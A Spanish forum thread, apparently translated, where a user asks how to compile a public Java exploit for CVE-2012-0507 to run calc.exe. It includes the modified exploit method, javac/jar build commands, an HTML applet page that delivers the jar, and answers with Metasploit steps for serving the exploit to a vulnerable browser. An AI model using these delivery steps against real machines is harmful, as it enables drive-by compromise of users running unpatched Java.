¿Cómo compilar el exploit java_atomicreferencearray (CVE-2012-0507) para ejecutar calc.exe en el sistema?

7

Me interesé en los exploits de Java y me topé con esto:

enlace

Es el código fuente del exploit de Java, por lo que aunque mi conocimiento de Java es limitado (aprendí algo en la escuela secundaria), traté de entender lo que sucede en el fondo.

El archivo enlace tiene este código:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        File file = new File("d:/temp/1.php");
        String cmd = "php " + file.getAbsolutePath();
        System.out.println(Help.doWork(_tmp, cmd));
    }

que presumo es el código que se ejecutará con este exploit, así que lo modifiqué a:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        String cmd = "cmd /c start calc.exe";
        System.out.println(Help.doWork(_tmp, cmd));
    }

Para iniciar calc.exe en una explotación exitosa, y compilarlo con:

javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class

y lo puso en el applet:

<!DOCTYPE html>
<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
  </body>
</html>

Pero no hay suerte con la ejecución de calc.exe en una máquina Java vulnerable. La ejecución de Metasploit funciona. Cualquier orientación o sugerencia es bienvenida.

    
pregunta Daniel 23.03.2016 - 14:40
fuente

3 respuestas

1

Es probable que mi Java no sea mejor que el tuyo, pero como entiendo la vulnerabilidad, depende de salir de la caja de arena para ejecutar el código.

Creo que cuando reemplazaste el código php con tu simple comando, rompiste la parte del proceso para salir de la caja de arena.

Aquí hay un examen bastante detallado de su problema:   enlace

Diríjase a la página 7 para obtener una explicación detallada de cómo funciona el exploit, y el autor recorre el código y su ejecución.

    
respondido por el J Kimball 28.03.2016 - 18:09
fuente
0

Como comentó @ paj28, Exploit no es un applet. En lugar de ejecutarse como un applet, simplemente ejecute (ya que ya lo compiló):

cd bin
java Exploit
    
respondido por el Steven 01.04.2016 - 21:55
fuente
0

¿Por qué no simplemente cargar el java_atomicreferencearray explotar utilizando el marco de metasotasit?

msfconsole
use .*java_atomicreferencearray <tab>
info
show missing
set <stuff>
options
check
exploit -j

Luego simplemente apunte su navegador vulnerable habilitado para JRE a la URL de escucha que proporciona.

    
respondido por el atdre 31.05.2016 - 23:42
fuente

Lea otras preguntas en las etiquetas